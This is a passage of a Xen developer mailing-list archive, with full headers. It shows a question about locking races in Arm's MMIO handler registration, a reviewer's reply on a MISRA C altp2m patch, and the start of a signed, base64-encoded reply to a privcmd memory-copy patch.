         ZqlKTICsc6xr5j4QnC0UX+l0uLXGJRmMW4jDOhvTEKrXn3wB2Qe6M+41jhO9a8cKH0Lk
         oC8g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783594192; x=1784198992;
        h=content-transfer-encoding:content-type:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=zhWQNEAsdS01hIEuljmqZWiSFpvLV6INoFO1IuYSEcA=;
        b=gatGbW49R1wYKZJyLukiwrxG37pLvpC4dYXN4vxotRSo0z7T0JA8Y2ONWi4P4Czw6r
         /+/soAQRwUC0P2/Fq97FgvxxtOmZ70NpZ+2edQzwsWjY4cEENaBJnl6hOnRkkg66MbbB
         D8NGPJbEupRvHZl3xGfz8WGGX0rwdwVLJMS7CPj/HdPH4DxCBQJ3TPWVgSkXh9beKZvW
         ZLymxfYl6+zoHViUlxeKdTC9PdtFp7W5Dldm+un3FiaFJZdALGxNQcbLODHnFtiM3JwA
         rKpimBdZWIG06+t2xMMbOt9YuG5Co/HXDZf8F834SkQNEQJe5rz1JIOIyFmDqi/Dfxbv
         /DiQ==
X-Gm-Message-State: AOJu0Yzqm3V5nGLaS1kPdnzhhHbMt61JZJsxmQE+rGy6Nw9Uvye/OqMx
	oYX3QLa0oVwGLgyU7QpJueU39V9YS4vx89AUcKcLq2+X7/tNZG7iSanW99vWBg==
X-Gm-Gg: AfdE7cnzK6swWr//nkhVXuGnm3BuqQDKIsv0wn1Mz5jPIfHNkA8wioZaZlJg/mED6pS
	Mpo0tXzzFXkxxDJmbuqunzkZQo9+l90HTOvAWwILOwtFO3Yu7zAaoQhe6Jm9FwukYVm5iqaZ3xC
	d4iZFn1xL4KAtgCuk4FVts0CW8Fp+fyx6d/4hU0evG+4oH2kL9NYU1g/iyquwuX6NWC4xJSvb2n
	oGRWVlMQMfB1Y+SmngCVvQ1OquKeWjUdEhS1XrH58nNBIDLKl3Ly/aOVvYty2MnuPU0gBQAWAJl
	5Y4jT8oPmxVTEWQnuvHR4byTKZThQxCSHdZuqe+Jheirw9nnydqM2za6MXjXMv9pIqDdps1qWRY
	ZraPHWD5OfVXVlxpI0bUtcjhh2AYNB3uEwJM4Sn8ACzZzY9XcL7otfl5ZpDwVl7/QI5UnVWqjbv
	E7odj5MaxdvIXUgU+UZ/JpUkgpkG9KviBWuuEGo+aaqTGmD/DIgvU2MmkeSre8iEd6mdnlypUEk
	SOsJg==
X-Received: by 2002:a05:6512:3e0d:b0:5ae:b6cf:c745 with SMTP id 2adb3069b0e04-5b016d36f76mr446246e87.17.1783594191995;
        Thu, 09 Jul 2026 03:49:51 -0700 (PDT)
Message-ID: <89509e85-3345-41f8-a6dd-5dc4ba3619ac@gmail.com>
Date: Thu, 9 Jul 2026 12:49:50 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Stefano Stabellini <sstabellini@kernel.org>,
 "Orzel, Michal" <Michal.Orzel@amd.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>, Julien Grall <julien@xen.org>
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Subject: Question regarding Locking in the MMIO Handling Framework on Arm
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1783594192-D653FDDE-88268D39/10/73395122804
X-purgate-type: spam
X-purgate-size: 1332

Hello everyone,

I have a question regarding the locking in the MMIO handling framework 
on Arm.

Is it sufficient to have read_lock() only in find_mmio_handler()? If
register_mmio_handler() is executed in parallel with find_mmio_handler() 
(which I assume was the reason for introducing the rwlock), aren't we 
still exposed to a race condition?

find_mmio_handler() returns a pointer to a handler, but the object it 
points to could be changed by a subsequent call to register_mmio_handler().
If register_mmio_handler() runs between find_mmio_handler() and 
handle_{write,read}(), we could end up operating on a different handler 
than the one that was originally found.

In other words, shouldn't we acquire the read_lock() in 
try_handle_mmio() and keep it held for the entire duration of 
try_handle_mmio()?

It seems this is not an issue at the moment because 
register_mmio_handler() is only called during domain creation. If that's 
the case, do we really need the rwlock at all?

One more thing: it looks like
   BUG_ON(vmmio->num_entries >= vmmio->max_num_entries);
in register_mmio_handler() would be better placed inside the 
write_lock() section. As again in the case if register_mmio_handler() 
will start to be called in parallel we will have an issue.

Thanks in advance.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:51:03 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:51:03 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357940.1612256 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmLN-0006hh-Cq; Thu, 09 Jul 2026 10:51:01 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357940.1612256; Thu, 09 Jul 2026 10:51:01 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmLN-0006ha-9t; Thu, 09 Jul 2026 10:51:01 +0000
Received: by outflank-mailman (input) for mailman id 1357940;
 Thu, 09 Jul 2026 10:51:00 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whmLM-0006hT-5h
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:51:00 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmLL-003GEE-Ih
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:50:59 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f7cff-bab6-0a2a0a5309dd-0a2a450bb05a-16
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:50:59 +0200
Received: from [209.85.128.41] (helo=mail-wm1-f41.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f7d13-ac48-0a2a450b0019-d1558029bc58-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:50:59 +0200
Received: by mail-wm1-f41.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so6019135e9.0
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:50:59 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e5a5d174sm152617145e9.2.2026.07.09.03.50.58
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 03:50:58 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783594259; x=1784199059; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=r9MPQwdIV+Nu7TcVBl8DF2RO+FoikfaRso3mr6SfkoI=;
        b=DqEZitlun0ijAXIlXspLT9TB83lvEbHdZijnUWT4k5o5qVScIi+W8i4rYSs6mZ7uTO
         czDqhjCpdMwN5MZrbJ55bnkpqhhDo0Pzxx+KOcjnpMGnfbS5Nm1NzedXrtqosuN+xmSU
         3QeDPTIS4ocLyPAz9WpgrILJ4icnoi5sDR1hUew/C/wjsBvCky4qH/9OQUAOMwece9Ye
         Xbpi3Dtwu64SA8Dtw7IWOdSoQvBX7oFjC/mTiuAVZJYgcsnqbdtq7my7elfq56q9XRsm
         mtwntsHQdibnwgsEujo8VT7hCScDQRWTgQyNVMlal96R8nejD5VQLwzyvBlZC3TU0WkM
         2DJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783594259; x=1784199059;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=r9MPQwdIV+Nu7TcVBl8DF2RO+FoikfaRso3mr6SfkoI=;
        b=RxwjflYdL8BtDvwBmukgZq4aBFS0b8erPFjnc17It6yDwc2gTKBrKjaawQnpPKGMbk
         qZEw/sSFVv3BX9b9WvIZrQ5EWsFZeXllBkw6ozUqdmmfE9/Q6qP61ex+/OfzHemiH3iD
         Dmlgjv968nNQJBP60HiBf7Uv9ZoGDUxxsiYpAWacUxf84bDpH6fBamQgmfkI7t/vvI+e
         C+Spzqkph8Q+ltzA+xyEA848SYEJ1McWkvPL2ALVzBn8Q2H9W/VRTle/gRF7M0FSjzgM
         gVrlWmL2kC7GQwDtEg8j0W0ixK34ZjWj+to6h68+6uSzYwJej6roArb/E7MlM+rSmcRP
         gSrw==
X-Gm-Message-State: AOJu0Yydcci28/d5DWNEXn/gJtcE2k7ao1ohYFiy3zZd7Z9Ainmjm9Tu
	/H4I+NSbRtKa3cc3V1bMI1yeQNg7bYIyFtr2lALiQQXXo3RrYRPN/PHe+EV+wZvU0SdsE7yb+Fo
	qgL97Ng==
X-Gm-Gg: AfdE7cmT8FGrQNslk7of7q6qF4OLfA0jpmELREv+CP1pQHlAbA1UtdpJEciKIQFCuky
	Fw1OBOKB816AR8SWr5R6U1pIaDcqgjfXKWgvafMjVxRXbrdD/Bx8EQQNXjyb1ABtnZ6nJaDoGW5
	fVYaOxxPDRfHDn3ogv1mgVOCXHVSLgVCXGc7yd/zSoURUGZZeV11qF9Up84wFyvnPHX5Lk7W4BK
	ocrTiNfq/mmjDHNnRWmwGZzNuy3q0oP3xIUYSHLj5mQx7kscoveLV3BX74d8buv24Oym8aDzmth
	/sHt1OFVyqoWRe5txGWPWsxjrFnOClBPrmaD4CJFZ7QLxurKlGs0KdgbtqxFy5dlJb8uW9fmFgy
	OhDn05OSC+m5FZm2E/zA73CL+zg770mWM3Ia9c/xcbL2Tc0uuwKzxC9cV8OFVEfyWYkko4b3ix6
	CBL2KmqXwsW08N/hsPmDsc1fdhE7gO7KpcjnJVvLHGAP5fhhW7O9FF8Wa6tvOZqZaXMWJ92nJD4
	USa
X-Received: by 2002:a05:600c:6206:b0:493:cc25:9c0e with SMTP id 5b1f17b1804b1-493e68c3aecmr64379895e9.14.1783594258887;
        Thu, 09 Jul 2026 03:50:58 -0700 (PDT)
Message-ID: <fc7508e4-2170-4928-9fca-060d7c6f4863@suse.com>
Date: Thu, 9 Jul 2026 12:50:58 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] generic/altp2m: address violations of MISRA C Rule 2.1
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <8b5ca213a097f7b221b06b6173e4621563779a73.1775752149.git.dmytro_prokopchuk1@epam.com>
 <3b2daddd-9afc-4c75-92c0-f7c6ace3f735@suse.com>
 <d6dcde3d-99eb-4fa3-9078-a13e35c8a1b4@epam.com>
 <b0738b79-2a9f-4571-8465-bfb00123300f@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8r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2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <b0738b79-2a9f-4571-8465-bfb00123300f@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1783594259-4014E220-99102854/0/0
X-purgate-type: clean
X-purgate-size: 2922

On 09.07.2026 12:00, Dmytro Prokopchuk1 wrote:
> On 6/22/26 13:29, Dmytro Prokopchuk wrote:
>> On 4/10/26 09:04, Jan Beulich wrote:
>>> On 09.04.2026 19:37, Dmytro Prokopchuk1 wrote:
>>>> MISRA C Rule 2.1 states: "A project shall not contain unreachable code".
>>>>
>>>> In certain build configurations,
>>>
>>> Can you give an example where ...
>> If CONFIG_VM_EVENT is enabled on ARM.
>>>
>>>> the function 'altp2m_vcpu_idx()' is defined
>>>> as an inline function that contains the 'BUG()' macro. This resulted 
>>>> in a
>>>> violation because the 'BUG()' macro makes the function non-returning.
>>>>
>>>> To ensure compliance with MISRA C Rule 2.1, this patch removes the 
>>>> inline
>>>> function implementation and its BUG()-based unreachable code. It is 
>>>> replaced
>>>> with an unconditional function declaration for 'altp2m_vcpu_idx()'.
>>>
>>> ... a declaration is needed? The sole non-x86 reference I see is from
>> Yes, declaration is needed. The file 'common/monitor.c' contains a usage 
>> of the 'altp2m_vcpu_idx()' and compiler must see it to avoid "error: 
>> implicit declaration of function â€˜altp2m_vcpu_idxâ€™".
>>> common/monitor.c, and the sole relevant Kconfig option I can spot is
>>> VM_EVENT. When that's off, the file won't be built at all.
>> But when 'CONFIG_VM_EVENT=y' this file is compiled on ARM.
>>>
>>> Further, BUG() and a few more constructs have a dedicated deviation
>>> already in place. I don't mind a useless function to be shrunk (or, as
>>> per above, perhaps even dropped), but the justification then needs to
>>> be different.
>> Well, with Stefano's comment regarding return type, the commit subject 
>> and message could be rewritten like:
>>
>> generic/altp2m: align and simplify altp2m_vcpu_idx()
>>
>> The return type of 'altp2m_vcpu_idx()' in the generic altp2m.h header is
>> currently 'unsigned int', which is inconsistent with its 'uint16_t'
>> return type on x86 and the 'altp2m_idx' member of the monitor structures.
>>
>> To fix this type inconsistency and simplify the header, this patch
>> replaces the static inline implementation of 
>> 'altp2m_vcpu_idx()' (contained a BUG() stub) with a simple function 
>> declaration returning
>> uint16_t.
>>
>> For architectures using the generic altp2m.h header (such as ARM when
>> CONFIG_VM_EVENT is enabled), common code calls to 'altp2m_vcpu_idx()' in 
>> common/monitor.c are guarded by 'altp2m_active()', which
>> statically returns 'false'. The compiler's DCE will optimize out these 
>> calls, avoiding any linker issues for the missing definition.
> 
> Hello Jan,
> 
> kind reminder. Please, take a look.

I did, back then already. No specific question was asked for me to answer,
so I was expecting a re-submission, allowing to see new description and
code changes together. That'll then make it easier / more natural to
comment on.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 10:53:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 10:53:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357947.1612265 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmNl-0007NK-OJ; Thu, 09 Jul 2026 10:53:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357947.1612265; Thu, 09 Jul 2026 10:53:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whmNl-0007ND-Ld; Thu, 09 Jul 2026 10:53:29 +0000
Received: by outflank-mailman (input) for mailman id 1357947;
 Thu, 09 Jul 2026 10:53:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1whmNk-0007N7-HI
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 10:53:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whmNj-00DC7p-9Q
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 12:53:27 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4f7d97-2eae-0a2a0a5409dd-0a2a450c8e10-22
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:53:27 +0200
Received: from [209.85.218.45] (helo=mail-ej1-f45.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4f7da7-f399-0a2a450c0019-d155da2dc92a-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 12:53:27 +0200
Received: by mail-ej1-f45.google.com with SMTP id
 a640c23a62f3a-c12614b81c9so299160666b.3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 03:53:27 -0700 (PDT)
Received: from ?IPV6:2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112?
 (2a00-12d0-af5d-ad01-5d3f-14e6-9bcb-5112.ip.tng.de.
 [2a00:12d0:af5d:ad01:5d3f:14e6:9bcb:5112])
 by smtp.gmail.com with ESMTPSA id
 a640c23a62f3a-c15ad844889sm475687066b.15.2026.07.09.03.53.26
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 09 Jul 2026 03:53:26 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783594407; x=1784199207; darn=lists.xenproject.org;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=utV+Ei6Ev/7fuuIwDg9CgQsQ6F5+H2dpIrsy07tollY=;
        b=clPfHe43wZz0U3mbhNYLbz7IKbuoEtv2EWK4kA+JvGMgnR7LvrncW9RWiF8mtG20pu
         Ybu+M7p8+J7Pk8S3A1GreeD5tOIAgLtmYmGBJluET4HXDnZAU98alwDy6sfJdVf6O9wH
         cK5BDnvJ1IdWgArF1OwPx8svdWQrB7szApDZr1oUhVZuJyGwO4o6FIuU+t/fdsEEnYuR
         XgwPTFEZ9Wi09KRe4WAuGT+kjK/f4gvpBM1hY6VmBPXHqq2eLkHNm37Cn9rbJ/x6Csnm
         orbAplap80V8kR41TLpKQ7SLupbQAMUmOxkiZ7+wDHPUoc5DGgUVQtHwaDUX/WjDAEp2
         ECvw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783594407; x=1784199207;
        h=content-type:in-reply-to:autocrypt:from:content-language:references
         :cc:to:subject:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=utV+Ei6Ev/7fuuIwDg9CgQsQ6F5+H2dpIrsy07tollY=;
        b=TyBGOfyxr50rNM/CR8sylNQB54flVe/tiZUBb279hwvV0gktUKHPlbICjHcerstHi4
         DU2GwaMmJEj8TJn7B/2xszBxl6JaVcwR8X/A4MvSjWr4hdyjPgc0Nv8P0C6tMUriy0NG
         FocDVFNI56SddzXWJvGkeqHKTIrLEAqtmJMlvpQagIVOYmwMFbtc3TVf54pFEUirfA6f
         fzKRDLs7I6OdOVV/jVMjxM8XZU5P/3/76orNumj5y8hM3PkXE9u72on2/hMwk/kgRAZB
         L0L4Zmz/mEvhTqRQERk0Kep8pQ/OFvB3rWpYFzujfaS2MmAy4i8ozcR42EHT/aVFCaHc
         7MCA==
X-Forwarded-Encrypted: i=1; AHgh+RonOvB/aZIVw+pqGAeClti29jf6smB+dY+zrUJP92Ouq6KyXNKzVRqiXSaNqkSTbxJvNtOvGfDQfVY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxsVGXxA7zWxoH/eKh+n4UJl/AOe94tnWfH0BOktZ7e+JWYM6tz
	OUJ47cs1hAfqmDzA4WJ7M1x5fKjr6WW8zOiaY0MRHCs6OgmLWLZ5R018TPKmcuWxr2g=
X-Gm-Gg: AfdE7cnvxGpMAhe3ND0iyn3EynWulDVKgDt6dVSLLzJyfuSPqSET8GB/4pJkWzZiBX7
	JRlwv0SGVrJY9ppYdwMu4713HGhwFU+uJCJiq018Pk3xmmXb8UDh4TwXw3Gn/9fil0qEw/7xz5A
	Yk95vE4WkKC6HUgPniTJq1TUjZVB+SRboA8m23EnoGOVmzERbTrGYOoeBTlb9LxoIdFZ1QTILa6
	fCdTHo4tuBNbX1+heQ7UVLLLwqEIfAjbl+ItKrvEg3CYeZk+FriYqQ8S1NMIZa879TTI/5iGOPr
	nwIj4DsyT2aaVSmxF+onY79klruuCmdEjQ4N//3lOl6q+79WAus9UAYW8+kvTtzDwU5kMQYLxvq
	NtT3vReAcJo7J5dOamVegQcKrtfcFaEMtB4IyCWYFQ32hRTaDox6Z32SqDA9078ShHQLaZcK2V+
	0NEPB/GrBRrQZPhhmGue+oZkPwD2Kg5QCD0bwuKWfrv2uHKTKd3PDcikk3kV0MofndUCrjF20jn
	P5no/IIom/VAMOgxRccd8iQTgwXR3prJzvxullbF9A=
X-Received: by 2002:a17:907:c0b:b0:c12:80a6:2df9 with SMTP id a640c23a62f3a-c15ce06f6cbmr310620766b.8.1783594406586;
        Thu, 09 Jul 2026 03:53:26 -0700 (PDT)
Message-ID: <c4d2eac0-9a44-468f-985d-4d3617c199e3@suse.com>
Date: Thu, 9 Jul 2026 12:53:25 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH Linux v6 16/16] xen/privcmd: Add new ABI to allow copying
 foreign memory
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
 Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-17-frediano.ziglio@citrix.com>
Content-Language: en-US
From: Juergen Gross <jgross@suse.com>
Autocrypt: addr=jgross@suse.com; keydata=
 xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjrioyspZKOB
 ycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2kaV2KL9650I1SJve
 dYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/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r3q+bg/8v5tCknCtn92d5lyYTBNt7xgWzDZX8G6/pngzKyWfedArllp0Pn
 fgIXtMNV+3t8Li1Tg843EXkP7+2+CQ98MB8XvvPLYAfW8nNDV85TyVgWlldNcgdv7nn1Sq8g
 HwB2BHdIAkYce3hEoDQXt/mKlgEGsLpzJcnLKimtPXQQy9TxUaLBe9PInPd+Ohix0XOlY+Uk
 QFEx50Ki3rSDl2Zt2tnkNYKUCvTJq7jvOlaPd6d/W0tZqpyy7KVay+K4aMobDsodB3dvEAs6
 ScCnh03dDAFgIq5nsB11j3KPKdVoPlfucX2c7kGNH+LUMbzqV6beIENfNexkOfxHfw==
In-Reply-To: <20260619130501.272832-17-frediano.ziglio@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------n60WkKeIFoJnTp9C7eCLyKWV"
X-purgate-ID: tlsNG-d25034/1783594407-0CB2DD51-3567CCEE/0/0
X-purgate-type: clean
X-purgate-size: 8303

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------n60WkKeIFoJnTp9C7eCLyKWV
Content-Type: multipart/mixed; boundary="------------T1o4F7E6yxliM0NwKW78fIth";
 protected-headers="v1"
From: Juergen Gross <jgross@suse.com>
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
Cc: Frediano Ziglio <frediano.ziglio@citrix.com>,
 Jan Beulich <jbeulich@suse.com>, Andrew Cooper <andrew.cooper3@citrix.com>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>
Message-ID: <c4d2eac0-9a44-468f-985d-4d3617c199e3@suse.com>
Subject: Re: [PATCH Linux v6 16/16] xen/privcmd: Add new ABI to allow copying
 foreign memory
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-17-frediano.ziglio@citrix.com>
In-Reply-To: <20260619130501.272832-17-frediano.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2HJOrFIjiVli4lU+Sf
 OBp64m//Y1xys++Z4ODoKh7tkh5DxiO3QBHG7bHK0CSQsJ6XUvPVYubAuy1XfSDzSeSBl//C
 v78Fclb+gi9GWidSTG/4hsEzd1fY5XwCZG/XJJY9M/sAAwUH/09Ar9W2U1Qm+DwZeP2ii3Ou
 14Z9VlVVPhcEmR/AFykL9dw/OV2O/7cdi52+l00reUu6Nd4Dl8s4f5n8b1YFzmkVVIyhwjvU
 jxtPyUgDOt6DRa+RaDlXZZmxQyWcMv2anAgYWGVszeB8Myzsw8y7xhBEVV1S+1KloCzw4V8Z
 DSJrcsZlyMDoiTb7FyqxwQnM0f6qHxWbmOOnbzJmBqpNpFuDcz/4xNsymJylm6oXiucHQBAP
 Xb/cE1YNHpuaH4SRhIxwQilCYEznWowQphNAbJtEKOmcocY7EbSt8VjXTzmYENkIfkrHRyXQ
 dUm5AoL51XZljkCqNwrADGkTvkwsWSvCSQQYEQIACQUCWTecRAIbDAAKCRCgNK6L+3cgfuef
 AJ9wlZQNQUp0KwEf8Tl37RmcxCL4bQCcC5alCSMzUBJ5DBIcR4BY+CyQFAs=

--------------T1o4F7E6yxliM0NwKW78fIth
Content-Type: multipart/mixed; boundary="------------KY106VfoUkLyLy5WpA95x65A"

--------------KY106VfoUkLyLy5WpA95x65A
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

T24gMTkuMDYuMjYgMTU6MDUsIEZyZWRpYW5vIFppZ2xpbyB3cm90ZToNCj4gVGhpcyBuZXcg
QUJJIGFsbG93cyB0byBjb3B5IGZvcmVpZ24gZG9tYWluIG1lbW9yeSB0by9mcm9tIGEgYnVm
ZmVyLg0KPiBUaGlzIGF2b2lkcyBoYXZpbmcgdG8gbWFwL2NvcHkvdW5tYXAgZm9yZWlnbiBt
ZW1vcnkgd2hpY2ggaXMNCj4gZXhwZW5zaXZlLg0KPiBUaGlzIG9wZXJhdGlvbiBpcyBkb25l
IHBhcnRpY3VsYXJseSB3aGVuIG1pZ3JhdGluZyBWTXMuDQo+IA0KPiBTaWduZWQtb2ZmLWJ5
OiBGcmVkaWFubyBaaWdsaW8gPGZyZWRpYW5vLnppZ2xpb0BjaXRyaXguY29tPg0KDQpSZXZp
